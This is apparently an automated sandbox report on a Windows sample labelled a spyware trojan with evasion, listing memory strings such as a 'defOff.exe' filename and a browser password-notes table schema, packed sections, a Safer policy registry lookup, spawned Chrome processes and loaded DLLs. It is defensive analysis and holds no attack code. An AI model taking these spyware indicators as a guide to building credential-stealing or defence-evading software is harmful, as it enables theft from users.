Source: SMmAznmdAa.exe, 00000000.00000003.1769299160.0000000006427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776259634.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1782188078.00000000067E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769972802.0000000006356000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1775233744.00000000067AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1786804694.00000000066DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1791192471.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771598032.000000000677E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776739024.00000000066E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1781122579.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770533929.00000000066DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771891302.000000000677C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1779902595.00000000067DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769749387.0000000006437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774123055.00000000067A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1777152231.00000000066DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769972802.000000000644B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773705185.00000000067A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773395564.0000000006843000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1789624243.00000000066D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1778879534.00000000066E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1782548471.00000000067E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774720329.00000000066DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790213275.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770882120.000000000653B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769516491.0000000006356000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769972802.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773500616.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1777395464.00000000067B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780418757.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1788772549.0000000006808000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1778597300.00000000068B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1785077271.0000000006805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1788043767.000000000694E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776950421.00000000067D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770771041.00000000066E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1784421856.000000000691D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1782021091.00000000066DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1784212441.00000000067FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772985610.0000000006793000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1783139878.00000000067F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1779715551.00000000066E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769026810.0000000006427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1784670457.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769026810.0000000006356000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000002.1904183030.00000000062CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773940187.00000000066E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1775862174.00000000066D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1783298295.000000000690F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774430558.0000000006797000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772860731.00000000066D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1781669886.00000000066DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790988444.0000000006969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1777667329.000000000689D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780256690.00000000067E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780598954.00000000067E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1805469341.00000000062CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790397329.000000000681E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769749387.00000000064AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772444427.0000000006821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1804901524.00000000062CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1787513427.0000000006811000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1775615886.00000000067AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780781933.00000000066D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771224201.00000000066E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1777967936.00000000066D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1791605749.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774595101.0000000006865000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776562983.0000000006890000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776089215.00000000067B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1781493085.00000000068EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1776405885.00000000067B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1778281233.00000000067BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780090686.00000000066DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1785882883.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772208072.0000000006777000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1775048317.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772694431.0000000006790000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1783897273.00000000067FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771331052.0000000006780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773292288.000000000678B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1783751279.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1785479852.0000000006930000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000002.1904945189.00000000069A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769516491.0000000006437000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769026810.00000000063BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1781833177.00000000067EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1779345786.00000000067E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772601457.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1788308531.00000000066D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771001485.00000000066E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770651030.000000000653B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770260506.000000000644B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790789603.000000000681B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1773184220.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1804901524.000000000627E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1780951437.00000000067D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1782935983.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1781310190.00000000067DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1791396649.000000000682F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1770419588.0000000006545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe

Source: SMmAznmdAa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SMmAznmdAa.exe	Static PE information: Section: ZLIB complexity 0.9998972039473685
Source: SMmAznmdAa.exe	Static PE information: Section: suopojhu ZLIB complexity 0.9944334719841023

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/72@11/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SMmAznmdAa.exe, 00000000.00000003.1640122767.000000000623D000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1639553511.0000000006259000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SMmAznmdAa.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

File read: C:\Users\user\Desktop\SMmAznmdAa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SMmAznmdAa.exe "C:\Users\user\Desktop\SMmAznmdAa.exe"
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1964,i,16643933853050129922,7654861729800679491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1872,i,16145117965439116962,11826208785470456376,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1964,i,16643933853050129922,7654861729800679491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1872,i,16145117965439116962,11826208785470456376,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: version.dll	Jump to behavior
